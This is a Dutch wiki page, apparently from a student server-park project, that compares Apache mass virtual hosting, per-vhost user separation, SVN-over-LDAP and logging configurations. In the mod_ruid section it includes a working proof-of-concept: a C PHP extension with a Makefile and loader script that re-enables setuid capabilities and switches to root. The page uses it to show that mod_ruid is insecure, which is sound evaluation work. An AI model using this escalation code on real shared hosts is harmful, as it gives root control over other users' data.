Table of Contents

Apache Secure Mass Virtual Hosting

De apache webserver is een van de belangrijkste services die het HULK serverpark gaat leveren. Er zijn een aantal eisen waaraan de apache server aan moet voldoen, om op een goede manier service te verlenen aan de gebruikers. Hieronder een opsomming van de specifieke eisen:

Voor bijna elk van de bovengenoemde eisen zijn er meerdere oplossingen mogelijk. Daarom onderzoeken we welke oplossingen samen de beste setup vormen. Onze ondervindingen zijn op deze wikipagina te lezen.

Mass Hosting

mod_vhost_dbi

Het is mogelijk om virtualhosts uit een database te halen met mod_vhost_dbi. Deze apache module gebruikt libdbi om gegevens op te halen uit een database, zoals MySQL. Een voorbeeld van configuratie:

mod_vhost_dbi.conf (http://www.outoforder.cc/projects/apache/mod_vhost_dbi/docs/):

PoolDbiDriver         Server1  mysql
PoolDbiHost           Server1  10.0.0.20
PoolDbiUsername       Server1  myuser
PoolDbiPassword       Server1  mypass
PoolDbiDBName         Server1  vhost_dbi
PoolDbiConnMin        Server1  1
PoolDbiConnSoftMax    Server1  1
PoolDbiConnHardMax    Server1  5
PoolDbiConnTTL        Server1  30

<VirtualHost *:80>
  VhostDbiEnabled On
  VhostDbiConnName Server1
  VhostDbiQuery "SELECT ServerName, DocumentRoot, Username " \
			FROM vhost_info WHERE ServerName = &{RequestHostname}"
</VirtualHost>

Voordelen:

Nadelen:

mod_vhost_ldap

Het is mogelijk om virtualhost informatie in een LDAP server op te slaan en deze te koppelen met Apache. mod_vhost_ldap biedt deze functionaliteit. Apache configuratie is als volgt:

vhost_ldap.conf (20-03-2008):

#
# mod_vhost_ldap allows you to keep your virtual host configuration
# in an LDAP directory and update it in nearly realtime.
#

### NOTE ###
### mod_vhost_ldap depends on mod_ldap ###
### you have to enable mod_ldap as well ###

LoadModule vhost_ldap_module    modules/mod_vhost_ldap.so

<IfModule mod_vhost_ldap.c>
    VhostLDAPEnabled on
    VhostLDAPUrl "ldap://127.0.0.1/ou=vhosts,ou=web,dc=localhost"
    VhostLdapBindDN "cn=admin,dc=localhost"
    VhostLDAPBindPassword "changeme"
</IfModule>

Voordelen:

Nadelen:

mod_vhost_hash_alias

Massahosting van honderden websites of meer gaat gemakkelijk met mod_vhost_hash_alias. Deze module heeft een unieke eigenschap. In de apache configuratie hoeft er niet meer 100x een <VirtualHost> definitie te komen voor elke vhost. Er hoeft slechts opgegeven te worden in welke directory alle vhosts zich bevinden en apache doet de rest. De hostname van de het vhost domein wordt door de module gehasht, waarmee de juiste directory op de disk wordt gevonden. Voorbeeld configuratie:

vhost_hash_alias.conf (http://www.vhffs.org/wiki/doc:guide:web-hosting):

  # mod_vhost_hash_alias have to be enabled for each virtual host (catch-all)
  #
  HashEnable On
  
  #
  # Digest algorithm to use:
  # CRC32, ADLER32, MD5, SHA1, SHA256, or other types
  # supported by the module and libmhash
  #
  
  HashType md5
  
  #
  # The output encoding (rfc3548) of hash result
  # hexa, base16_low, base16_up, base32_low, base32_up, base64_ufs,
  #
  HashEncoding hexa
  
  #
  # Number of characters to use to build the document root
  # The hash string is truncated to this length
  #
  HashLimit 6
  
  #
  # Splitting scheme
  # Specify the size of each chunk of the digest string
  # The last count is taken until the end of string is reached
  #
  HashSplit 2 2 2
  
  #
  # The base directory used to build the document root
  # (mandatory)
  #
  HashDocumentRootPrefix /data/web
  
  #
  # A directory added to the final built root
  # (optionnal)
  #
  HashDocumentRootSuffix htdocs
  
  #
  # A list of host prefix to strip
  # eg: this handle basic web aliasing
  #   http://www.example.com/
  # will point on the same document root than
  #   http://example.com/
  #
  # (optionnal)
  #
  HashAddAliasPrefix www ftp

vhffs (http://www.vhffs.org/wiki/doc:guide:web-hosting):

<VirtualHost *>
      ServerAdmin webmaster@localhost
      DocumentRoot /data/web
      HashEnable On
      <Directory /data/web/>
              Options -ExecCGI Indexes FollowSymLinks +Includes MultiViews
              IndexIgnore */.quota */.*passw* */.htaccess
              IndexOptions NameWidth=*
              AllowOverride All
              order allow,deny
              allow from all
              RewriteEngine on
      </Directory>
      ErrorLog /var/log/apache2/sites-error.log
      LogFormat "%V %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\"" vhffs
      CustomLog /data/logs/web/incoming/{SERVER_NAME}/vhffs.log vhffs
      # Possible values include: debug, info, notice, warn, error, crit,
      # alert, emerg.
      LogLevel warn
      ServerSignature On
      Alias /icons/ "/usr/share/apache2/icons/"
      <Directory "/usr/share/apache2/icons">
          Options Indexes MultiViews
          AllowOverride None
          Order allow,deny
          Allow from all
      </Directory>
</VirtualHost>

Er hoeft hier dus maar 1x een <VirtualHost> gedefineerd te worden voor alle vhosts waarvoor service wordt verleend. Dit betekent wel, dat specifieke configuratie per virtual host lastig wordt. Het is dan wel weer mogelijk om hashing bij een vhost uit te zetten, alleen is dat niet de bedoeling wanneer deze module wordt gebruikt.

Voordelen:

Nadelen:

mod_rewrite

Onder apache is het mogelijk om allerlei truuks uit te halen met URL requests van clients. Dit kan met mod_rewrite. Hiermee kan er ook geconfigureerd worden, dat HTTP/1.1

vhosts.conf (http://httpd.apache.org/docs/2.0/misc/rewriteguide.html):

RewriteEngine on
RewriteCond   %{HTTP_HOST}                 ^www\.[^.]+\.host\.com$
RewriteRule   ^(.+)                        %{HTTP_HOST}$1          [C]
RewriteRule   ^www\.([^.]+)\.host\.com(.*) /home/$1$2

Voordelen:

Nadelen:

mod_macro

Een uitstekende oplossing voor massahosting met apache is het gebruik van mod_macro. Met deze module is het mogelijk om binnen apache configuratie files macro's de defineren. Hierdoor kan een beheerder bijvoorbeeld <VirtualHost> in een macro zetten en toch vrij blijven om alle configuraties instellen die gewenst zijn. Voorbeeld van een macro setup:

vhosts.conf (http://www.cri.ensmp.fr/~coelho/mod_macro/#examples):

## Define a VHost Macro.

<Macro VHost $host $port $dir>
  Listen $port
  <VirtualHost $host:$port>

    DocumentRoot $dir

    <Directory $dir>
      # do something here...
    </Directory>

    # limit access to intranet subdir.
    <Directory $dir/intranet>
      order deny,allow
      deny from all
      allow from 10.0.0.0/8
    </Directory>
  </VirtualHost>
</Macro>

## Use of VHost with different arguments.

Use VHost www.apache.org 80 /projects/apache/web
Use VHost www.perl.com 8080 /projects/perl/web
Use VHost www.ensmp.fr 1234 /projects/mines/web

Voordelen:

Nadelen:

PHP5

php.ini (26-03-2008):

...
register_globals = Off
register_long_arrays = Off
register_argc_argv = Off
magic_quotes_gpc = Off
enable_dl = Off
expose_php = Off
...

Subversion

SVNParentPath

Voor het hosten van subversion repositories zijn meerdere instellingen mogelijk. Een daarvan is het gebruik van SVNParentPath. Hiermee is het mogelijk om in een <Location> met SVNParentPath een directory op te geven waar alle repositories zich bevinden:

svn.conf (26-03-2008):

<Location /svn>

    # Uncomment this to enable the repository
    DAV svn

    # Path to repositories
    SVNParentPath /var/lib/svn
 
    # OpenLDAP authentication
    AuthName "LDAP login"
    AuthType Basic
    AuthBasicProvider ldap

    AuthLDAPURL "ldaps://server/dc=hulk,dc=net?uid"
    AuthzLDAPAuthoritative off
    AuthLDAPBindDN "cn=manager,dc=hulk,dc=net"
    AuthLDAPBindPassword password
    Require valid-user

    # To enable authorization via mod_authz_svn
    AuthzSVNAccessFile /etc/apache2/sites-available/svn.authz

    # The following three lines allow anonymous read, but make
    # committers authenticate themselves.  It requires the 'authz_user'
    # module (enable it with 'a2enmod').
    #<LimitExcept GET PROPFIND OPTIONS REPORT>
	#Require valid-user
    #</LimitExcept> 

</Location>

Door middel van de file svn.authz wordt bepaald welke user in welke repository kan komen:

svn.authz (26-03-2008):

[project1:/]
foobar,fuzz = rw
* = r

[foobar:/]
foobar = rw
* = 

Voordeel:

Nadeel:

SVNPath en mod_macro

Een andere manier is om via mod_macro een macro te declareren, die SVNPath bevat. Daarbinnen kan dan met mod_auth_ldap authenticatie worden geregeld. Er wordt dan voor elke projectgroep een LDAP groep aangemaakt. Elk lid is dan een member van de groep, en heeft dan toegang tot de repository. Wanneer studenten in meerdere projecten meedoen, worden ze simpelweg in de correcte LDAP groepen geplaatst. Voorbeeld:

svn.macro (26-03-2008):

<Macro SVNRepos $repos $group>
    <Location /svn/$repos>

	# Uncomment this to enable the repository
	DAV svn

	# Path to repositories
	SVNPath /var/lib/svn/$repos
 
	# OpenLDAP authentication
	AuthName "$repos login"
	AuthType Basic
	AuthBasicProvider ldap

	AuthLDAPURL "ldaps://server/dc=hulk,dc=net?uid"
	AuthzLDAPAuthoritative on
	AuthLDAPBindDN "cn=manager,dc=hulk,dc=net"
	AuthLDAPBindPassword password
	AuthLDAPGRoupAttribute memberUid
	AuthLDAPGroupAttributeIsDN off
	Require ldap-group cn=$group,ou=Group,dc=hulk,dc=net

    </Location>
</Macro>

svn.conf (26-03-2008):

Include "/etc/apache2/sites-available/svn.macro"

Use SVNRepos project1 groep1
Use SVNRepos foobar foobar

Studenten kunnen toegang worden gegeven, door ze simpelweg lid te maken van de LDAP groep genaamd groep1:

hulk-ldap# ldapaddgroup groep1
hulk-ldap# ldapaddusertogroup user1 groep1
hulk-ldap# ldapaddusertogroup user2 groep1

HTTPS

VHost UID/GID separation

SUEXEC

Deze manier is officieel supported door de apache ontwikkelaars. Suexec is gemaakt voor het switchen van UID/GID bij het aanroepen van CGI/SSI scripts. Wanneer PHP5 als CGI draait, kan Suexec dus worden gebruikt. Dit werkt op de volgende wijze:

  1. Apache2 boot
  2. Suexec leest config uit
  3. WWW-Client doet een request naar apache2
  4. Apache2 bepaalt of de request een CGI is
  5. Zo ja, dan wordt /usr/lib/apache2/suexec gebruikt om het script uit te voeren onder de geconfigureerde UID/GID
  6. Zo nee, dan wordt de file gedownload onder de default UID/GID
  7. WWW-Client disconnect

Zoals hierboven beschreven staat, is het nadelig dat alleen CGI scripts worden uitgevoerd als de geconfigureerde UID/GID. Bovendien is er een extra setuid programma nodig op het systeem.

Voordelen:

Nadelen:

suPHP

SuPHP is ontwikkeld voor het switchen van UID/GID bij het uitvoeren van PHP scripts onder apache. Er wordt gebruik gemaakt van een apache module die CGI requests afvangt en bepaalt naar welke UID/GID wordt verwisseld. SuPHP heeft een setuid binary (/usr/lib/suphp/suphp) die het switchen van UID/GID en uitvoeren van het script op zich neemt. Dit werkt als volgt:

  1. Apache2 boot
  2. SuPHP leest config uit
  3. WWW-Client doet een request naar apache2
  4. SuPHP CGI handler ontvangt dit request
  5. SuPHP CGI handler voert /usr/lib/suphp/suphp uit
  6. /usr/lib/suphp/suphp gebruikt stat(2) om de UID/GID te bepalen
  7. /usr/lib/suphp/suphp gebruikt setuid(2) en setgid(2) om UID/GID te switchen
  8. /usr/lib/suphp/suphp gebruikt execve(2) om het PHP5 script uit te voeren
  9. WWW-Client disconnect

Voordelen:

Nadelen:

MPM Per Child

Software perchild.c

MPM (Multi Process Module) is een concept bedacht door de apache2 ontwikkelaars, om elk platform haar eigen module te gebruiken voor het zo snel mogelijk verwerken van requests. Voor elk platform zijn er meestal specifieke system calls waarmee er een hogere performance gehaald kan worden dan wanneer er gebruik wordt gemaakt van meer generieke functies.

MPM Per Child is een MPM die gebruik maakt van threads voor het uitvoeren van requests. Dit voorkomt veelvuldig gebruik van fork(2) en spaart geheugen. Een aardige feature van MPM Per Child is dat het mogelijk is om per virtual host een aparte UID/GID te configureren. Dat werkt op de volgende manier:

  1. Apache2 boot
  2. MPM-PerChild leest config uit
  3. MPM-PerChild gebruikt fork(2) om geconfigureerde childs te draaien
  4. MPM-PerChild doet setuid(2) en setgid(2) naar de geconfigureerde UID/GID
  5. WWW-Client doet een request naar apache2
  6. MPM-PerChild gebruikt pthread_create(3) om het request in een thread af te handelen
  7. Apache2 voert een PHP5 script uit of download een statische file
  8. WWW-Client disconnect

Voordelen:

Nadelen:

MPM Per User

Deze MPM is gebaseerd op MPM Per Child en functioneert op een zelfde wijze. Het verschil met MPM Per Child is dat MPM Per User de mogelijkheid biedt om elke virtual host binnen een chroot(2) te draaien. Hierbij gelden dus dezelfde voor en nadelen als MPM Per Child.

MPM ITK

MPM prefork is een MPM module voor apache2, die processen met fork(2) aanmaakt. MPM ITK is op deze module gebaseerd. Er worden een aantal childs geforkt als root, die later, aan de hand van de VHost, worden geswitcht met setuid(2) en setgid(2). Dat werkt op deze manier:

  1. Apache2 boot
  2. MPM-ITK leest config uit
  3. MPM-ITK gebruikt fork(2) om een aantal root childs te draaien
  4. WWW-Client doet een request naar apache2
  5. MPM-ITK leest de Hostname: header uit het HTTP request
  6. MPM-ITK doet fork(2) voor een nieuw process
  7. MPM-ITK switch UID/GID met setuid(2) en setgid(2)
  8. Apache2 voert een PHP5 script uit of download een statische file onder deze UID/GID
  9. WWW-Client disconnect
  10. De child sterft

Deze architectuur biedt een zeer goede manier van UID/GID switchen. Het nieuwe process kan onmogelijk terug naar superuser. Echter het forken van een nieuw process voor elk request zou performance moeilijkheden kunnen hebben.

Het voordeel wat de auteur van MPM-ITK aangeeft is het switchen van root naar een UID die later in het process gebruikt wordt om een applicatie te draaien. Standaard draait httpd onder de systeemgebruiker www-data (onder debian). Doordat httpd draait onder zo'n systeemgebruiker heeft het maar toegang tot een aantal files op het filesysteem. Wat MPM-ITK doet is de child httpd processen draaien als standaard gebruikers (e.g. piet, jan). Dit betekent dat httpd nu toegang heeft tot ALLE files en directories van die standaard gebruiker. Dit betekent ook dat httpd veel meer rechten heeft dan normaal het geval is, en hier moet wel rekening mee worden gehouden door de gebruikers en systeembeheerders.

Wat ik denk dat de schrijver eigenlijk wilde bereiken is om bijvoorbeeld de scripts eigenlijk de processen daarvan die de standaard gebruiker wil uitvoeren het UID van die gebruikers geven.

Mogelijke problemen

Stel er zit een buffer overflow die exploitbaar is in de httpd executable. Nu kan een inbreker zijn eigen code uitvoeren binnen het httpd process, en heeft die toegang tot ALLE files van de gebruiker. Normaal gesproken zou die toegang hebben tot alleen de files waar www-data toegang tot had.

Stel een gebruiker heeft een file of directory met z'n eigen uid en gid. Deze file of directory is nu dus toegankelijk via de webserver omdat die met hetzelfde uid draait, en niet als de systeemgebruiker.

Voordelen:

Nadelen:

mod_ruid

Mod_ruid is een kleine simpele apache 2.x module die gebruikt kan worden voor het switchen van UID/GID. Mod_ruid werkt op de volgende manier:

  1. Apache2 boot
  2. mod_ruid leest config uit
  3. mod_ruid gebruikt prctl(2) om capabilities te bewaren na setuid(2)
  4. WWW-Client doet een request naar apache2
  5. mod_ruid switcht naar de goede UID/GID met setuid(2) en setgid(2)
  6. mod_ruid gebruikt cap_set_proc(3) om setuid(2) uit te schakelen
  7. Apache2 voert een PHP5 script uit of download een statische file onder deze UID/GID
  8. WWW-Client disconnect
  9. mod_ruid gebruikt cap_set_proc(3) om setuid(2) weer in te schakelen
  10. mod_ruid switcht naar de default UID/GID met setuid(2) en setgid(2)

Het voordeel van deze manier is dat er geen extra fork(2) nodig is voor elke request dat binnenkomt. Er wordt simpelweg geswitcht tussen UID/GID wanneer dat nodig is. Deze manier is echter niet voldoende om onze apache2 server voldoende te beschermen. De security ligt nu namelijk bij een PHP5 script. Niemand kan het PHP5 script weerhouden om simpelweg cap_set_proc(3) te gebruiken, om setuid(2) en setgid(2) weer in te schakelen. Proof of concept:

moduletje.c (19-03-2008):

#include "php.h"
#include <sys/capability.h>

ZEND_MINIT_FUNCTION(moduletje);

zend_module_entry moduletje_module_entry =
{
    STANDARD_MODULE_HEADER,
    "Module'tje",
    NULL,
    ZEND_MINIT(moduletje), 
    NULL, 
    NULL, 
    NULL,
    NULL,
    NO_VERSION_YET,
    STANDARD_MODULE_PROPERTIES
};

ZEND_GET_MODULE(moduletje)

ZEND_MINIT_FUNCTION(moduletje)
{
   cap_t cap;
   cap_value_t capval[3];

   cap=cap_get_proc();
   capval[0]=CAP_SETUID;
   capval[1]=CAP_SETGID;
   cap_set_flag(cap,CAP_EFFECTIVE,2,capval,CAP_SET);
   cap_set_proc(cap);
   setuid(0);
   setgid(0);
        
	 return SUCCESS;
}

Makefile (19-03-2008):

moduletje.so: moduletje.o
	cc -shared -L/usr/local/lib -lcap -rdynamic -o moduletje.so moduletje.o

moduletje.o: moduletje.c
	cc -fpic -DCOMPILE_DL=1 -I/usr/include/php5/ -I/usr/include/php5/TSRM -I/usr/local/include/php -I/usr/include/php5/main -I/usr/include/php5/Zend -c -o moduletje.o moduletje.c

foo.php (19-03-2008):

<?php
dl("../../../../home/foobar/public_html/moduletje.so");
system("id");
?>

Voordelen:

Nadelen:

VHost logfile separation

Single log file

Een oplossing om logs per virtualhost bij te houden, is simpelweg het schrijven naar een en dezelfde file voor alle vhosts. Vervolgens kan met de utility split-logfile de grote logfile worden gesplitst per vhost, wanneer dit gewenst is.

apache2.conf (20-03-2008):

...
CustomLog /var/log/apache2/access.log combined
ErrorLog  /var/log/apache2/error.log
...

Voordelen:

Nadelen:

Logfile per vhost

In plaats van een groote logfile kan er per vhost ook een aparte logfile worden ingesteld. Dit kan door in de <VirtualHost> definitie een CustomLog in te stellen. Hierdoor worden alle requests en errors per vhost in een aparte logfile weggeschreven. Voorbeeld:

vhost.conf (20-03-2008):

<VirtualHost *>
...
CustomLog /var/log/apache2/mydomain.log combined
ErrorLog  /var/log/apache2/error.log
...
</VirtualHost>

Voordelen:

Nadelen:

Syslog via CustomLog

Een andere optie is op een vergelijkbare wijze, de logging op te laten sturen naar een (extern) syslogd(8) process. Hierdoor hoeft apache zich niet druk te maken over waar, hoe en door wie de logfiles worden bijgehouden. Dit kan op de volgende manier:

vhost.conf (20-03-2008):

<VirtualHost *>
...
CustomLog "|/usr/bin/logger -t httpd" combined
ErrorLog  syslog:httpd
...
</VirtualHost>

Voordelen:

Nadelen:

mod_log_sql

Logging kan ook naar een MySQL database. Alle requests en error berichten zullen dan worden overgestuurd naar een daarvoor gereserveerde database. Het is dan ook mogelijk om queries uit te voeren op de entries in de database. Apache houdt 1 unix domain socket open, waarover alle logging wordt verstuurd. Dit kan geconfigureerd worden per virtual host:

vhost.conf (http://www.outoforder.cc/projects/apache/mod_log_sql/docs-2.0/?chapter=/3/2/):

...
LogSQLLoginInfo mysql://loguser:l0gg3r@dbmachine.foo.com/apachelogs
LogSQLCreateTables on
...
<VirtualHost *>
...
LogSQLTransferLogTable access_log
...
</VirtualHost>
...

Voordelen:

Nadelen:

LDAP connectivity

Zie ldap_apache voor uitleg hoe authenticatie via LDAP binnen apache mogelijk is.

Mogelijke oplossing

Wanneer de voor- en nadelen van de verschillende manieren vergeleken worden, zou een mogelijk oplossing kunnen zijn: